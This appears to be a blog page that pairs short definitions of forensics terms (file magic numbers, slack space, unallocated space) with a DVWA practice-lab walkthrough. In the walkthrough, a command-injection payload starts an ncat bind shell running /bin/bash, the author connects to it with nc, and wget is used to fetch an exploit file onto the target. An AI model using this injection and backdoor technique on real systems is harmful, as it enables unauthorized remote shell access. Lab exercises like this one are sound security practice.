Minggu, 18 Maret 2012

Magic Number - Definition



A magic number is a number embedded at or near the beginning of a file that indicates its file format (i.e., the type of file it is). It is also sometimes referred to as a file signature.

Magic numbers are generally not visible to users. However, they can easily be seen with the use of a hex editor, which is a specialized program that shows and allows modification of every byte in a file.

For common file formats, the numbers conveniently represent the names of the file types. Thus, for example, the magic number for image files conforming to the widely used GIF87a format in hexadecimal (i.e., base 16) terms is 0x474946383761, which when converted into ASCII is GIF87a. ASCII is the de facto standard used by computers and communications equipment for character encoding (i.e., associating alphabetic and other characters with numbers).

Likewise, the magic number for image files having the subsequently introduced GIF89a format is 0x474946383961. For both types of GIF (Graphic Interchange Format) files, the magic number occupies the first six bytes of the file. They are then followed by additional general information (i.e., metadata) about the file.

Similarly, a commonly used magic number for JPEG (Joint Photographic Experts Group) image files is 0x4A464946, which is the ASCII equivalent of JFIF (JPEG File Interchange Format). However, JPEG magic numbers are not the first bytes in the file; rather, they begin with the seventh byte. Additional examples include 0x4D546864 for MIDI (Musical Instrument Digital Interface) files and 0x425a6831415925 for bzip2 compressed files.

Magic numbers are not always the ASCII equivalent of the name of the file format, or even something similar. For example, in some types of files they represent the name or initials of the developer of that file format. Also, in at least one type of file the magic number represents the birthday of that format's developer.

Various programs make use of magic numbers to determine the file type. Among them is the command line (i.e., all-text mode) program named file, whose sole purpose is determining the file type.

Although they can be useful, magic numbers are not always sufficient to determine the file type. The main reason is that some file types do not have magic numbers, most notably plain text files, which include HTML (hypertext markup language), XHTML (extensible HTML) and XML (extensible markup language) files as well as source code.

Fortunately, there are also other means that can be used by programs to determine file types. One is by looking at a file's character set (e.g., ASCII) to see if it is a plain text file. If it is determined that a file is a plain text file, then it is often possible to further categorize it on the basis of the start of the text, such as <html> for HTML files and #! (the so-called shebang) for script (i.e., short program) files.

Another way to determine file types is through the use of filename extensions (e.g., .exe, .html and .jpg), which are required on the various Microsoft operating systems but only to a small extent on Linux and other Unix-like operating systems. However, this approach has the disadvantage that it relatively easy for a user to accidentally change or remove the extensions, in which case it becomes difficult to determine the file type and use the file.

Still another way that is possible in the case of some commonly used filesystems is through the use of file type information that is embedded in each file's metadata. In Unix-like operating systems, such metadata is contained in inodes, which are data structures (i.e., efficient ways of storing information) that store all the information about files except their names and their actual data.

Magic numbers are referred to as magic because the purpose and significance of their values are not apparent without some additional knowledge. The term magic number is also used in programming to refer to a constant that is employed for some specific purpose but whose presence or value is inexplicable without additional information.

Slack Space - Definition

Slack space is a form of internal fragmentation, i.e. wasted space, on a hard disk. When a file is written to disk it’s stored at the “beginning” of the cluster. A cluster is defined as a collection of logically contiguous sectors and the smallest amount of disk space that can be allocated to hold a file. Rarely will there be an even match between the space available in a cluster (or collection of clusters for longer files) and the number of bytes in the file. Left over bytes in the cluster are unused, hence the name slack space.

Unallocated Space - Definition

Unallocated Space is available disk space that is not allocated to any volume. The type of volume that you can create on unallocated space depends on the disk type. On basic disks, you can use unallocated space to create primary or extended partitions. On dynamic disks, you can use unallocated space to create dynamic volumes.

Senin, 05 Maret 2012

DVWA-Web Hacking Medium Level

And this condition, i will hacking website with command execution. We use nc to create backdoor to DVWA.


we use  | ncat -l-p 5555 -e '/bin/bash' to create backdoor 


we try nc and use ls to listening file
root@bt:~# nc 127.0.0.1 5555
ls
help
index.php
php-backdoor.php
php-backdoor.php.1
php-backdoor.php.2
source


we use pwd to see position, i change directory to /tmp after that i use ls to listening file.
pwd                      
/var/www/dvwa/vulnerabilities/exec
cd /tmp
ls
VMwareDnD
gpg-oRkFC9
kde-root
ksocket-root
orbit-root
pulse-sRwpC5iUzahE
serverauth.931hzqFniM
ssh-guIVrZ1662
vmware-root

i use wget to download file 18411.c to victim. After that i see again with ls and file 18411.c not found in file ls.
ls
VMwareDnD
gpg-oRkFC9
kde-root
ksocket-root
orbit-root
pulse-sRwpC5iUzahE
serverauth.931hzqFniM
ssh-guIVrZ1662
vmware-root
ls -lia
total 60
2752513 drwxrwxrwt 13 root root 4096 Mar  6 03:52 .
      2 drwxr-xr-x 28 root root 4096 Mar  6 02:09 ..
2756082 drwxrwxrwt  2 root root 4096 Mar  6 02:29 .ICE-unix
2756089 -r--r--r--  1 root root   11 Mar  6 02:08 .X0-lock
2756081 drwxrwxrwt  2 root root 4096 Mar  6 02:08 .X11-unix
2756104 drwx------  2 root root 4096 Mar  6 02:28 .org.chromium.muUsCf
2756083 drwxrwxrwt  2 root root 4096 Mar  6 02:07 VMwareDnD
2756094 drwx------  2 root root 4096 Mar  6 02:08 gpg-oRkFC9
2756096 drwx------  2 root root 4096 Mar  6 03:20 kde-root
2756097 drwx------  2 root root 4096 Mar  6 04:49 ksocket-root
2756172 drwx------  2 root root 4096 Mar  6 04:37 orbit-root
2756111 drwx------  2 root root 4096 Mar  6 02:08 pulse-sRwpC5iUzahE
2756092 -rw-------  1 root root  141 Mar  6 02:08 serverauth.931hzqFniM
2756091 drwx------  2 root root 4096 Mar  6 02:08 ssh-guIVrZ1662
2756084 drwx------  2 root root 4096 Mar  6 02:07 vmware-root